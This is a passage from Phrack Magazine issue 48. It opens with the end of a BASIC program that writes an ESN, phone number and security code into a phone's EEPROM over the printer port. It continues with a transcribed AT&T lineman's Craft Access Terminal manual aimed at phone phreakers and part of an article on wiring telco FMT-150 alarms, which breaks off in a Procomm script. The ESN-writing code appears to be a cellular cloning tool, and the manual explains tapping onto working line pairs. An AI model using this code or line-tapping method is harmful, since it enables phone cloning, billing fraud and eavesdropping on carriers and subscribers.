1090 DATA 11,08,4D,01,0F,01,0F,00 ' Bytes 48-55
1100 DATA 04,00,00,00,FF ' Bytes 56-60
1105 UNIT1$="050490"
1110 DIM BYTE$(60),BYTE(61)
1120 FOR I=0 TO 60:READ BYTE$(I):NEXT
1130 FILES "*.IMG"
1140 LINE INPUT "Which file do you want to read? ";F$
1150 OPEN "I",#1,F$+".IMG"
1160 INPUT#1,ESNPREFIX
1170 INPUT#1,ESN#
1180 INPUT#1,HOMEID
1190 INPUT#1,ACCESS
1200 INPUT#1,LOCALOPT
1210 INPUT#1,PHONE$
1220 INPUT#1,STATCLASS
1230 INPUT#1,PGCH
1240 INPUT#1,OVERLDCL
1250 INPUT#1,PREFSYS
1260 INPUT#1,GROUPID
1270 INPUT#1,SEC$
1280 ' Building binary image
1290 UNIT2$=MID$(UNIT$,1,2)+MID$(UNIT$,4,2)+MID$(UNIT$,9,2)
1300 CLOSE #1
1310 FOR I=1 TO 5:BYTE$(I-1)="3"+MID$(SEC$,I,1):NEXT
1320 FOR I=0 TO 2:BYTE$(10+I)=RIGHT$("0"+HEX$(VAL(MID$(UNIT1$,I*2+1,2))),2)
1325 NEXT
1330 FOR I=0 TO 2:BYTE$(13+I)=RIGHT$("0"+HEX$(VAL(MID$(UNIT2$,I*2+1,2))),2)
1335 NEXT
1340 FOR I=0 TO 4:BYTE$(24+I)=MID$(PHONE$,2*I+1,2):NEXT
1350 FOR I=5 TO 0 STEP -1
1360 Q=INT(ESN#/(16^I))
1370 ESN#=ESN#-Q*(16^I)
1380 IF Q>9 THEN Q=Q+7
1390 ESN$=ESN$+CHR$(48+Q)
1400 NEXT
1410 BYTE$(8)=RIGHT$("0"+HEX$(ESNPREFIX),2)
1420 BYTE$(5)=MID$(ESN$,5,2)
1430 BYTE$(6)=MID$(ESN$,3,2)
1440 BYTE$(7)=MID$(ESN$,1,2)
1450 FOR I=0 TO 60:Q$=BYTE$(I)
1460 QH=ASC(LEFT$(Q$,1))-48:IF QH>9 THEN QH=QH-7:IF QH>15 THEN QH=QH-32
1470 QL=ASC(RIGHT$(Q$,1))-48:IF QL>9 THEN QL=QL-7:IF QL>15 THEN QL=QL-32
1480 Q=QH*16+QL
1490 BYTE(I)=Q:CHECK=CHECK+Q
1500 NEXT
1510 BYTE(20)=HOMEID AND 255:BYTE(21)=INT(HOMEID/256)
1520 BYTE(22)=ACCESS
1530 BYTE(23)=LOCALOPT
1540 BYTE(29)=STATCLASS
1550 BYTE(30)=PGCH AND 255:BYTE(31)=INT(PGCH/256)
1560 BYTE(32)=OVERLDCL
1570 BYTE(33)=PREFSYS
1580 BYTE(34)=GROUPID
1590 AC$=MID$(PHONE$,1,3)
1600 PRE$=MID$(PHONE$,4,3)
1610 PH$=MID$(PHONE$,7,4)
1620 AC=VAL(AC$)
1630 IF MID$(AC$,2,2)="00" THEN AC2=AC-1:GOTO 1670
1640 IF MID$(AC$,3,1)="0" THEN AC2=AC-101:GOTO 1670
1650 IF MID$(AC$,2,1)="0" THEN AC2=AC-11:GOTO 1670
1660 AC2=AC-111
1670 PRE=VAL(PRE$)
1680 IF MID$(PRE$,2,2)="00" THEN PRE2=PRE-1:GOTO 1720
1690 IF MID$(PRE$,2,1)="0" THEN PRE2=PRE-11:GOTO 1720
1700 IF MID$(PRE$,3,1)="0" THEN PRE2=PRE-101:GOTO 1720
1710 PRE2=PRE-111
1720 IF PRE2<0 THEN PRE2=1000+PRE2
1730 IF LEFT$(PH$,1)="0" THEN D=-24:GOTO 1750
1740 D=87-24*(ASC(PH$)-49)
1750 IF MID$(PH$,4,1)="0" THEN D=D-10
1760 IF MID$(PH$,3,1)="0" THEN D=D-100
1770 IF MID$(PH$,2,1)="0" THEN D=D-1000
1780 IF MID$(PH$,1,1)="0" THEN D=D-10105
1790 PH2=VAL(PH$)-D
1800 C=INT(PRE2/4)
1810 B=64*(PRE2 AND 3)
1820 A=PH2 AND 255
1830 B=B OR INT(PH2/256)
1840 BYTE(35)=A
1850 BYTE(36)=B
1860 BYTE(37)=C
1870 BYTE(38)=AC2 AND 255
1880 BYTE(39)=INT(AC2/256)
1890 CHECK=0
1900 FOR I=0 TO 60
1910 CHECK=CHECK+BYTE(I)
1920 NEXT
1930 BYTE(61)=CHECK AND 255
1940 DEV$="1010":ADDR$="000"
1945 ' Select the base address for your printer port with the next line.
1950 BASE=&H378 ' Which is LPT2. &h378 is LPT1 and &h3bc is LPT3.
1960 GOTO 2120
1970 OUT BASE,(DOUT AND 1) OR 2*(CLK AND 1) OR 4*(RELAY)
1980 FOR DELAY=0 TO 9:NEXT
1990 DIN=INP(BASE) AND 1
2000 RETURN
2010 FOR I=1 TO LEN(B$)
2020 B=ASC(MID$(B$,I,1))-48
2030 DOUT=B:CLK=0:GOSUB 1970
2040 DOUT=B:CLK=1:GOSUB 1970
2050 DOUT=B:CLK=0:GOSUB 1970
2060 NEXT
2070 T=0
2080 DOUT=1:CLK=1:GOSUB 1970
2090 IF DIN=0 THEN RETURN
2100 IF T=200 THEN BEEP:PRINT "Nack timeout error":STOP
2105 ' Is voltage applied to the chip?
2110 T=T+1:GOTO 2080
2120 MAX=61:RELAY=1:DOUT=1:CLK=1:GOSUB 1970
2130 T$=TIME$
2140 IF T$=TIME$ GOTO 2140
2150 FOR J=0 TO MAX
2160 DOUT=1:CLK=1:GOSUB 1970 ' Start bit
2170 IF DIN=0 THEN BEEP:PRINT "Bus not free error":STOP ' Bad!
2180 DOUT=0:CLK=1:GOSUB 1970
2190 DOUT=0:CLK=0:GOSUB 1970
2200 B$=DEV$+ADDR$+"0"
2210 GOSUB 2010
2220 B$=""
2230 FOR I=7 TO 0 STEP -1
2240 IF (J AND (2^I)) THEN B$=B$+"1" ELSE B$=B$+"0"
2250 NEXT
2260 GOSUB 2010
2270 Z=BYTE(J)
2280 B$="":FOR I=7 TO 0 STEP -1
2290 IF (Z AND (2^I)) THEN B$=B$+"1" ELSE B$=B$+"0"
2300 NEXT
2310 GOSUB 2010
2320 DOUT=0:CLK=0:GOSUB 1970
2330 DOUT=0:CLK=1:GOSUB 1970 ' Stop bit
2340 DOUT=1:CLK=1:GOSUB 1970
2350 PRINT USING "###% programmed";100*J/MAX
2360 PRINT STRING$(80*J/MAX,46)
2370 LOCATE CSRLIN-2,POS(0)
2380 GOSUB 1970
2390 IF DIN=0 GOTO 2380
2400 NEXT
2410 RELAY=0:DOUT=1:CLK=1:GOSUB 1970
2420 PRINT:PRINT
2430 'This is the end in case you though the code was truncated somehow...
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 8 of 18
.::::: :::::. .::::. .::::: ::::::
:: :: :: :: :: :: ::
:: :: :: :: :: :: ::
:: :::::' :::::: ::::: ::
:: :::::. :: :: :: ::
`::::: :: :: :: :: :: ::
.::::. .::::: .::::: .::::: .::::: .:::::
:: :: :: :: :: :: ::
:: :: :: :: :::: `::::. `::::.
:::::: :: :: :: :: ::
:: :: :: :: :: :: ::
:: :: `::::: `::::: `::::: :::::' :::::'
:::::: .::::: .::::. .::::::. :: .:::: :: .::::. ::
:: :: :: :: :: :: :: :: :: :: :: :: :: ::
:: :::: :: :: :: :: :: :: :: :: :: :: ::
:: :: :::::' :: :: :: :: :: :: :::::: ::
:: :: ::::. :: :: :: :: :: :: :: :: ::
:: `::::: :: :: :: :: :: :: `:::: :: :: `::::
------------------------------------------------------------------------------
Written by Boss Hogg
Greets: Voyager/Splatter/Mr.Hyde/Misfit/Darkseed/][avok/Paradyne
Ethereal Gloom/Surgat/GOL/Carnage/Kamakize/Seeker/Stravis
+ all others with weird thoughts and ideas.
The craft.
Although its called a Craft Access Terminal, the craft hardly
represents a standard computer terminal. It is in actually a lineman's
handset with a built in terminal and 1200 baud modem. The unit looks
like a handset on steroids measuring 12.5" in length. The ones in our
particular area were bright yellow and looks like a rejected Sesame
Street prop. We have reports that they also made them in a blue color as
well though we have yet to see one in use in our area.
The unit features a 4 line x 16 character LCD display, and a
joystick with a plunger on the top. You will find a diagram of the unit
with descriptions in brackets.
These units are possibly being phased out in a few areas and
have been found at telco auctions as well as from surplus stores. They
could be replacing these yellow units with the blue units (Which have
the same basic descriptions yet are newer. The crafts we have found were
severely worn). We have also heard they were being replaced with a
Access-2 terminal (rumored to represent a HP-95lx palmtop; Fold open,
larger LCD screen).
This is essentially the entire uncopywritten manual to the
terminal. The unit can be somewhat confusing at first due to a somewhat
weird menu layout.
Also, to avoid confusion:
- The page numbers are located at the bottom of the pages. You may wish
to add pagefeeds and space out the page numbers to the bottom of the
page if you want to print it out and stick it in your phreakers binder
or whatever.... The line is meant for the top of each page... As there
is a line at the top in the real manual.
----Here begins the Craft Access Terminal Instruction Manual----
AT&T
Craft Access Terminal
Instruction Manual
-cover-
-----------------------------------------------------------
Table of Contents
Page
Features : 2
Using the pointer : 4
Battery Pack : 6
Connecting to a working pair : 8
Making a telephone call : 9
Calling a computer : 12
Working with a computer : 15
Getting help : 15
Making or canceling a
selection on a screen : 17
Reading stored information : 19
Filling in information : 20
Taking care of your terminal : 25
-----------------------------------------------------------
Getting Started
Two battery packs, a charger and a short charger adaptor cord
should be in the box with the Craft Access Terminal. Before
using the Craft Access Terminal, insert a battery pack. The
battery pack must be charged before use. For directions on how
to charge and insert the battery pack, look at the section of
the instructions called "The Craft Access Terminal's Battery
Pack." This section begins on page 6.
-1-
-----------------------------------------------------------
Craft Access Terminal Features
Receiver - Works like any ordinary telephone receiver.
[points to ear-piece]
Transmitter - Works like an ordinary telephone transmitter.
[points to mouthpiece]
Craft Access Terminal - Identification Number
[points to sticker underneath the TRANSMITTER]
Phone Jack - A modular telephone cord can be plugged in here.
[located on bottom of the handset]
Recharger Jack - The plug on the recharger cord is inserted into
the jack.
[located on bottom of the handset]
Connecting Cord - Connects to a working pair to get dial tone for
making a call to either a telephone or a computer.
[extends from bottom of handset]
-2-
-----------------------------------------------------------
Screen - A liquid crystal display shows information
or instructions.
[on top-front of handset. c'mon- you cant miss it!]
Mode Switch
Three positions:
Talk -make a phone call
Monitor -listen for conversation
Data -make a computer call
Moving the switch to monitor will disconnect a call.
[This switch is located on the right-top side, when the ]
[LCD screen is facing you ]
Pointer - Used to mark and select actions on the screen and to
indicate where you want to enter information.
[Joystick located under Screen]
Rechargeable Battery Pack - Provides power for the terminal. The
pack must be recharged every day.
[This is accessed by removing a cover held in place by a normal ]
[phillips screw. The compartment is located under the pointer. ]
[NOTE: Although there is a 9-volt battery snap, the thing only ]
[uses 4 1.2volt nicads... 4 AA batteries work fine... For those ]
[whose sets didn't come with battery packs ]
Alpha Numeric Keypad - Used to enter letters and numbers on the
screen.
[Uhh- A normal Touch Tone pad... Cant miss it ]
-3-
-----------------------------------------------------------
Using the pointer
The pointer allows you to make choices from a
screen, show where you want to fill in information,
B BACK read information that is temporarily stored for you
A in the Craft Access Terminal, and get an
H C < ^ > N S explanation about a screen.
E K < .-. > E E
L S < `-' > X N Remember that you must push the pointer to
P P < V > T D make a choice.
C
E REVIEW The pointer can be moved along the right side,
along the left side, to the top center and bottom
center position.
<,>,^,V
= joystick direction
.-. = Joystick
`-'
1. If you want to select from two or more choices on the
screen, move the Pointer along the right side until
the arrow (>) appears next to the line you want to
select and then press the Pointer.
-4-
-----------------------------------------------------------
2. If you want additional information about one of the
choices on the screen, move the Pointer along the
left side until the question mark (?) appears next to
the line where you need HELP and then press the
Pointer.
3. If you want to go BACK one screen, move the Pointer
to the top center position and then press the
Pointer.
4. If you want to REVIEW information stored in your
Craft Access Terminal, move the Pointer to the bottom
center position and then press the Pointer.
-5-
-----------------------------------------------------------
The Craft Access Terminal's Battery Pack
You must charge the terminals battery pack at least once every
day. It may take up to twelve hours for a full charge if the
battery pack has run down completely. Also, before the first
use, each battery pack should be charged for 24 hours.
To do this, insert the plug at the other end of the cord
attached to the charger into the socket at the transmitter end
of the Craft Access Terminal. Plug the charger at the end of
the cord into an electrical outlet. The red light on the
charger should be lit if it is charging properly. However, the
light will not go out if the battery is fully charged. It is
advisable to keep the extra battery pack charged so you can
use it if the battery pack in the terminal you're using runs
down. To charge the spare battery pack, plug the charger
adapter cord, (the short cord included with the charger) into
the pack. Plug the other end of the adapter cord into the
charger, and plug the charger into an electrical outlet.
CAUTION
The charger should only be used indoors and only for charging
Craft Access Terminal.
In the battery pack runs out of power while you are using the
terminal, the pack can be removed and the charged pack can be
inserted. To do this, follow these steps:
1. Open the Battery Pack Compartment
Loosen the screw to open the battery cover. Do not hold
down battery compartment cover while loosening the
screw.
2. Remove the Battery Pack
Lift out battery pack. Unsnap the battery pack from the
connector.
-6-
-----------------------------------------------------------
3. Insert the Battery Pack
Snap the charged battery pack into the connector.
Slide the battery pack into the Craft Access Terminal.
Close the battery cover. Don't forget to tighten
the screw.
How Long Will the Craft Access Terminal Stay Charged?
At normal temperatures, the Craft Access Terminal will
operate for approximately 12 hours after being charged.
The Craft Access Terminal can be used in warm or cold
temperatures. You should keep in mind however, that the
battery pack will be drained faster in cold weather. At -20
degrees Fahrenheit, it may last only 8-10 hours.
The battery pack in the Craft Access Terminal should no be
charged at temperatures less than 40 degrees Fahrenheit.
Battery Pack Life
The battery pack can be charged many times, providing a
working life of about 5 years. The four digit number stamped
on the end of the battery is its date of manufacture.
-7-
-----------------------------------------------------------
Connecting to a Working Pair
Monitor the Line
Before connecting to a pair, set the switch at the Monitor
(center) position.
Connect Cord and Clips
Attach cord clips to tip and ring. If you hear a conversation,
select another pair. You should hear dial tone when connected
to an available working pair.
* Connect at a standard terminal point whenever possible to avoid
puncturing the insulation; holes made in insulation by clips
can lead to later corrosion problems
Alternately, dial tone can also be obtained by inserting a
modular cord as shown on page 2. Do not insert line cord to
modular jack and connect to tip and ring at the same time. It
will not work.
Move back to monitor to increase or decrease volume. To
increase the volume, move the Pointer along the right side
until the arrow (>) in next to "increase volume" and then
press the Pointer.
To decrease the volume, point to the third line, and press.
If you want to use the terminal to listen for noise on the
line, point to the second line and press. This puts the
terminal in the "quiet" mode so that very low levels of noise
can be detected.
Notice that the top line on this screen can't be selected. To
indicate this, the first space on the line contains a bar.
(I).
You can now make an ordinary telephone call be moving the
switch to Talk (see Making a Telephone Call) or call a
computer by moving the switch to Data (see Calling a
Computer).
-8-
-----------------------------------------------------------
Making a Telephone Call
Move the switch from Monitor to Talk Position
Monitor the line to be sure it isn't in use. If no one is
talking on the line, move the switch from Monitor to Talk.
Telephone Number Entry and Correction
If the line is good, you will hear a dial tone. You can enter
the number you want to call through the keypad. If a number is
already filled in, you can call that number, or, if you want
to call a different number, erase the number that is on the
screen by pressing * on the Touch-tone pad, and enter another
number.
* If the (*) is entered as the first character, it will not
erase unless another (*) us entered.
The small flashing bar is called the cursor. The cursor will
appear where a number must be entered.
As each digit to the telephone number is filled in, it will
appear where the cursor was, and the cursor will move one
space to the right. Enter a pound (#) between digits to
indicate a 2-second pause in dialing where required (to wait
for a second dial tone behind a PBX number, for example). For
a longer pause, press pound (#) several times.
-9-
-----------------------------------------------------------
When the correct phone number is shown, move the Pointer to the
right side (anywhere along the right side will do) and press.
If you need to rotary dial, select the last line with the
Pointer before you press. The Craft Access Terminal will dial
the number. You can re-dial by moving the Pointer to the right
side and pressing again.
The Craft Access Terminal will save the telephone number and it
will appear the next time the switch is moved to the Talk
position.
You can listen as the Craft Access Terminal dials the number.
If you hear a busy signal after dialing is completed, or if no
one answers the call, disconnect by moving the switch to the
Monitor position.
Call in Progress and Volume Control
When dialing is completed, this screen appears. Use the
Pointer the increase or decrease the volume of the receiver,
or to mute the trans mitter to listen only.
The volume level is indicated by the number of filled spaces on
the increase volume line. One filled space for minimum volume,
four for maximum.
-10-
-----------------------------------------------------------
Disconnecting
Moving the switch to the Monitor position will end the phone
call, and this screen will appear.
Be sure to move the switch to the Monitor position after
disconnecting. This will conserve battery power as the
terminal drains the least amount of power in the monitor mode.
If you are accidentally disconnected, move the switch to the
Monitor position and start again.
-11-
-----------------------------------------------------------
Calling the Craft Access System Computer
Move the Switch from Monitor to Data Position.
Monitor the line to be sure it isn't in use. If no one is
talking on the line, move the switch from Monitor to Data.
Telephone Number Entry and Correction
You can enter the number you want to call through the keypad.
If a number is already filled in, you can call that number,
or, if you want to call a different number, erase the number
on screen by pressing the asterisk (*) on the Touch-tone pad,
and fill in another number.
The cursor will appear where a number must be entered.
Fill in the computer's telephone number if it isn't already
shown. Put a pound (#) between digits to indicate a 2-second
pause in dialing where required (to wait for a second dial
tone behind a PBX number, for example). For a longer pause,
press pound (#) several times.
-12-
-----------------------------------------------------------
When the correct phone number is shown, move the Pointer to
the right side (anywhere along the right side will do)and
press. The Craft Access Terminal will dial the number. You
can re-dial by moving the Pointer to the right side and
pressing again.
Indications that the Call is Successful
If the call to the Craft Access System computer is successful,
you will hear a tone on the line. When the Craft Access
Terminal detects that tone, the tone will stop and a screen
like this will appear.
In some cases the call may not be successful. If you retry a
few times and still have difficulty, try connecting your cord
to another working pair.
Password Entry
Before you send or receive any computer information, you may
need to fill in a numeric password to identify yourself and a
number to identify your terminal. Your password can be used
only with your Craft Access Terminal. Fill in your password
on the keypad. If you make a mistake press the asterisk (*)
to erase the password and start over. The cursor will return
to the place where the password must be filled in.
The Terminal Identification number is located below the
transmitter (see page 2).
When the correct numbers are filled in, move the Pointer to
the right side (anywhere along the right side will do) and
press. The Craft Access Terminal will send your password to
the computer.
-13-
-----------------------------------------------------------
See "Working with the Craft Access System Computer" for further
instructions about what to do next.
Disconnect
If your call to a computer is accidentally dis connected, move
the switch to the Monitor position and repeat from the first
step to re-dial.
If you want to disconnect, move the switch to Monitor and this
screen will appear.
-14-
-----------------------------------------------------------
Working with the Craft Access System Computer
Each line on a screen is either:
- information
- a space in which information can be filled in
- a choice that can be selected
This screen is an example. Information can be read on the first
line, a number is to be entered on the second line, and you
can make a choice between the last two lines. Lines that don't
contain selectable choices begin with a bar (I). Those that
are selectable choices begin with a blank space.
----------------------
Getting Help
To get help about the third line of this screen, move the
Pointer along the left side until a question mark appears
beside the third line. When the question mark is beside the
line, press the Pointer. The help that appears de scribes what
will happen if you select choice 1.
To get help about the second line of this screen, a line in
which information can be filled in, move the Pointer along the
left side until a question mark (?) appears in the space where
information is to be filled in and then press.
-15-
-----------------------------------------------------------
This is an example of an explanation. A bar (I) appears to the
left of every line and there is a page number in the top right
corner of the screen. This page is numbered 1/2, indicating
that it is the first page of two pages of information. the
second page will be numbered 2/2.
To read the next page of Help, move the Pointer to the right
side (anywhere along the right side will do) and press.
If you want to re-read pages, point to REVIEW (move the Pointer
to the bottom center position and press) to go back one page
at a time.
When you are ready to go back to the screen where you
originally requested help, point to BACK (move the Pointer to
the top center and press).
-16-
-----------------------------------------------------------
Making or Canceling a Selection on a Screen
Making a Selection
When a screen that contains selectable choices is shown, move
the Pointer along the right side until the arrow (>) is
beside the choice you want. Then press the Pointer to make
the selection.
Some choices make requests of a computer that may take a while.
If so, a "request in progress" message such as this will
appear.
-17-
-----------------------------------------------------------
Canceling a Selection
If at this point you realize that you've made a wrong choice,
point to BACK (move the Pointer to the top center and press).
The screen on which you made the choice will be shown and you
can make a different choice.
Some requests cannot be canceled. In this case, only "request
in progress" is displayed.
-18-
-----------------------------------------------------------
Reading Information Stored in the Craft Access Terminal
Some of the information sent to you from the computer may be
stored in the Craft Access Terminal in case you need it again
later, even if your terminal is disconnected as long as its
battery pack is charged. If you want to see stored
information, move the switch to either Monitor or Voice and
point to REVIEW (move the Pointer to the bottom center and
press).
A list containing the major categories of information currently
stored in your Craft Access Terminal will appear on the
screen. To select a category, move the Pointer along the right
side until the arrow (>) is beside the category that you want
to select and then press the Pointer.
Sometimes an item that you have selected leads to another list.
Make a selection from this list in the same way you did on the
previous list. To quit reading, point to BACK (move the
Pointer to the top center and press). To reread pages of
stored information, point to REVIEW (move the Pointer to the
bottom center position) and then press the Pointer.
-19-
-----------------------------------------------------------
Filling in Information on the Craft Access Terminal
If a screen contains a space where a number can be filled in,
the cursor will be blinking at the space. If there is already
a number in the space you may want to change it. If you decide
to use the number that is already shown, point to NEXT (move
the Pointer to any position on the right side and press).
If you want to change the number, press the asterisk (*) to
erase the wrong number, then fill in the number you want.
When the desired number is shown, point to NEXT (move the
Pointer to any position on the right side and press).
-20-
-----------------------------------------------------------
Sometimes you may need to return to a screen to correct an
entry.
When you point to BACK (move the Pointer to the top center and
press), the cursor will appear at the beginning of the first
place where information was filled in.
Press the asterisk (*) on the keypad to erase the entered
number or make a correction by typing over the incorrect
number with the correct number.
-21-
-----------------------------------------------------------
If there are several spaces to be filled in on one screen, move
the Pointer along the right side of the control to point to
each location where you can enter information. Don't press the
Pointer until you have filled in all the required information.
If a space where information can be filled in is preceded with
an asterisk (*), the information is optional and the space may
be left without an entry.
After you have filled in all of the information you need, point
to NEXT (move the Pointer to any position on the right side
and press).
Display of the asterisk is actually controlled by the Craft
Access System computer. Keep in mind that this can change.
-22-
-----------------------------------------------------------
Sometimes the Craft Access System will allow you to enter the
letters and punctuation marks to fill in the information that
is needed. Whenever this is the case, this screen is
displayed.
Entering Alphabetical and Numeric Characters
Letters, numbers and punctuation marks are entered from the
keypad. All characters you enter appear on the screen.
Each key is used to enter four different characters as labeled
on the key; except for the [#] key. The [SP] on the [#] key is
used to enter a space between two words.
Two easy methods can be used to enter characters:
- Method 1: Press and hold down the key with the desired
character. Look at the display while holding down the key.
You will see each character labeled on that key appear one
after the other. When the desired character appears, release
the key and that character will remain on the screen, and the
cursor will advance to the next position.
- Method 2: There is no need to continuously watch the screen
with this method. Instead of holding down the key you rapidly
tap the key a number of times equal to the position of the
desired character on that key.
For example, tap the [6] key three times to enter [N]; tap
the [3] key three times to enter [E]; tap the [9] key twice
to enter [w] and tap the [#] key twice to enter a space.
A blinking dark block on the screen indicates you have entered
you last character.
-23-
-----------------------------------------------------------
Erasing a Character, an Entire Line or more.
If you want to erase a character, push the pointer to the left
and press once. Holding the pointer down it will continue to
erase characters one at a time until it is released.
Sending Your Message to the Computer
When you are through entering the message, move the pointer to
the right and press it to send your message. The cursor should
stop blinking to indicate that your message has been sent.
-24-
-----------------------------------------------------------
Taking Care of Your Terminal
1. To avoid damaging the Craft Access Terminal
- Don't drop the terminal. During the work day, the Craft
Access Terminal should be in the cab of your vehicle or
clipped to your tool belt when not in use
- Don't unnecessarily expose the terminal to dust, sand,
water, or salt air.
2. Problems Caused by Extreme Temperatures
Heat
The Craft Access Terminal can be damaged by extreme Heat.
DON'T LEAVE IT ON THE DASH OF YOUR VEHICLE.
Cold
Cold is less likely to damage the terminal. However, the
screen won't work properly at temperatures less than -20
degrees Fahrenheit. If you must use your terminal in colder
temperatures, you can use it for about 20 minutes in the
cold, then place it somewhere warm for 15 to 30 minutes and
then use it in the cold again.
3. Problems Caused by Water, Condensation, and High Humidity.
Don't expose the terminal to water; especially avoid dropping
the terminal in water. If it does get wet, dry it immediately.
The Craft Access Terminal will work in rain or snow, but
should be wiped dry whenever possible.
4. How to store the Craft Access Terminal and spare batteries.
When not in use, the Craft Access Terminal or spare battery
pack should be connected to the charger.
5. Under some abnormal conditions, the terminal may lock itself
into an incorrect state. To "reset" the terminal, simply
insert the battery charger plug into the charge jack, then
remove. CAUTION: This will erase any stored information.
-25-
-----------------------------------------------------------
For Quick Reference:
.-------------------------------------.
: -To quit reading stored information :
: -To go back to a screen you saw :
: previously :
: .----------------------------'
: BACK :
.-----------------------. : : .---------------------------.
: b : : O : : :
: -To get a O : `--------' :O n S -to select a choice :
: explanation of H c : : :
: selectable E k O : :O e E -to read new page of :
: items L s : (JOYSTICK) : help or new page of :
: P p O : :O x N stored information :
: -To erase a a : : :
: character or c O : .--------. :O t D -to send mail :
: line e : : O : `---------------------------'
: : : REVIEW :
: (ALPHA-ENTRY) : : `-------------------------.
: (MODE ONLY) : : :
`-----------------------' : :
: -To read information stored in :
: the Craft Access Terminal :
: :
: -To read previous page of help :
: or store information :
: :
`----------------------------------'
-----------------------------------------------------------
FCC Regulations for Telephone Equipment
(you know all this crap)
-----------------------------------------------------------
(BACK COVER)
(END)
-------------------------------------------------------
Few last notes:
The real Craft handsets do not have a power switch, they just
sit on all of the time. So we could also add a power switch to
ours.
The Craft handset uses a 1200 baud modem, but seems to be
incompatible with standard modems...
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 9 of 18
---------------------------------------------------------------------------
Information about Northern Telecom's FMT-150B/C/D
Written by StaTiC
(statik@free.org)
---------------------------------------------------------------------------
Ok, I know someone wrote an article in Phrack about the
FMT-150B/C/D, but I figured I should write some more. I am not going to
write the same info that FyberLyte wrote, in fact I recommend you go and
check it out. It is in Phrack #44-13. This is some stuff I obtained,
that I figured the rest of the world would be interested in.
Included info: Connecting a FMT-150 to a Rockwell OS-35
Connecting Environmental Alarms to the FMT-150
Procomm Script to Perform Configuration of FMT-150
FMT-150 Configuration Checklist
Glossary of Terms
------------------------------------------------------------------------------
INSTRUCTIONS FOR X-CONNECTING FMT-150 CUSTOMER OUTPUT TO
ROCKWELL OS-35 INPUTS
A pin block will be provided at the central office location, in the
bay equipped with FMT-150 equipment. The pin block will provide
the termination points for the Rockwell OS-35A and the FMT-150
customer output alarms. Each pin block will be able to support a
maximum of 16 FMT-150 systems, see pin block diagram.
Wiring of the FMT-150 customer outputs points and the OS-35A points
will be done by the vender on the back of the pin block.
Once a FMT-150 system has been certified the certification team
will be responsible for x-connecting the FMT-150 customer output
alarm points to the appropriate OS-35A points on the front of the
pin block. Completion of this x-connecting will allow FMT-150
system alarms originating either from the CO or the RT to be
transported via the OS-35A back to the Lightwave and Radio Alarm
Center.
IMPORTANT, MBT CERTIFICATION TEAMS X-CONNECT ONLY THE FMT-150 THAT
IS BEING PUT INTO SERVICE AND ONLY AFTER THE ELECTRONICS ARE
CERTIFIED.
The FMT-150 16 customer outputs are defined as follows:
OUTPUT ALARM OUTPUT ALARM
------ ----- ------ -----
1 BAY MAJOR 9 MI3 ALARM #3
2 BAY MINOR 10 HSA ALARM
3 OPT A FAIL 11 HSB ALARM
4 OPT B FAIL 12 DS1 GRP FAIL
5 STX TX 13 SYSTEM ID CLLI
6 STS RX 14 COMM. EQUIP. ALARM
7 M13 ALARM #1 15 NODE #1 CO
8 M13 ALARM #2 16 NODE #2 REMOTE
The Rockwell OS-35A provides a total of 32 separate alarm points.
The first 16 points with the exception of point 13 have been
multiplied on the pin block to provide x-connect points for a total
of 16 FMT-150 systems, see pin block diagram.
On the pin block x-connect the designated (1 of 16) FMT-150 system
customer outputs, pins 1-12 and 14-16 to the appropriate OS-35A
pins 1-12 and 14-16, see pin block diagram.
Pins 17-32 on the pin block going to the OS-35A will be used for
x-connecting the customer output #13 from each FMT-150 system.
Customer output #13 provides the system ID for the FMT-150, see pin
block diagram.
X-CONNECT CUSTOMER OUTPUT #13 FROM FMT-150 SYSTEMS IN
THIS SEQUENCE
OS-35A FMT-150 System
------ --------------
PIN 17 SYSTEM 1
PIN 18 SYSTEM 2
: :
: :
PIN 31 SYSTEM 15
PIN 32 SYSTEM 16
AGAIN, WIRE ONLY THE FMT-150 SYSTEM THAT IS BEING PUT INTO SERVICE
AND ONLY AFTER CERTIFICATION OF ELECTRONICS HAVE BEEN COMPLETED.
After x-connects have been completed on FMT-150 system that has
been certified, contact the Alarm Center at (313) 223-9688 and
verify that all 16 customer output alarm conditions at both the CO
and RT can be activated and are reporting via the OS-35A back to
the alarm center.
The Lightwave Alarm Center will monitor the FMT-150 system for a 24
hour quiet period for alarms. During this 24 hour period if no
alarms are detected by the Lightwave Alarm Center, the FMT-150 will
be considered certified for alarming and ready for continual
monitoring.
If during the 24 hour quiet period the alarm center receives alarms
from the FMT-150 system, it will not be certified for continual
monitoring and it will be the responsibility of the MBT
Certification Teams to resolve those alarms.
----------------------------------------------------------------------------
INSTRUCTIONS FOR CROSS CONNECTING ENVIRONMENTAL ALARMS TO
THE FMT-150 INPUTS.
Environmental alarms at remote locations may be connected to the
FMT-150 customer inputs. If more than one system exists, these
alarms should only be connected to the first. Since many remotes
will not be equipped with all of these alarms, a checklist has been
provided on the system acceptance sheets to indicate which have
been wired. The alarms provided for are Smoke Detector, Sump Pump,
Open Door, AC Power Fail, HI-LO Temperature, Rectifier Fail, and
Battery Float. These are wired to pins D8 through E9 on the
FMT-150 backplane. See Shelf Backplane Detail, attached.
All Customer Inputs are software connected to Customer Output #12.
They will also bring in Bay Minor (Output #1) or Bay Major (Output
#2) as appropriate. Inputs #1 (Smoke Detector) and #2 (Sump Pump)
are latching inputs that can only be cleared by accessing the MCU
with a VT100 terminal. See Section 321-3211-01, DP 3003, page 2.
FMT-150 systems using external inputs for environmental alarms and
which use E2 telemetry rather than the OS-35 MUST be provided with
type NT7H90XH Maintenance Control Units at both ends.
External alarm operation and telemetry if equipped, should be
verified with the Alarm Center during acceptance.
--------------------------------------------------------------------------
Procomm Script for Accessing FMT-150B/C/D
;**********************************************************************
;* *
;* FMT150.CMD Version 5.00 Dec 18, 1990 *
;* Please Destroy all previous versions of this program! *
;* *
;* NOTE: Procomm is a product of Datastorm Technologies *
;**********************************************************************
;
; The script FMT150.CMD was written to automatically perform
; all configuration commands for the Northern Telecom FMT-150
; fiber optic multiplexer. Specifically, this script will
; complete over 125 configuration commands (performance
; threshold, error correction, and alarm outputs) as outlined
; in Section 4 of the Michigan Bell Certification Procedure for
; the FMT-150. This program is compatible with all
; certification requirements for FMT-150 MCU NT7H90XA or MCU
; NT7H90XE.
;
; Requirements:
; 1) Toshiba T1000 craft terminal or DOS equivalent.
; 2) Proper serial cables and adapters.
; 3) Procomm disk with FMT150.CMD file.
;
; Procedure for use:
; 1) Remove disk from drive, then turn on computer. When the DOS
; prompt appears insert the PROCOMM disk into disk drive.
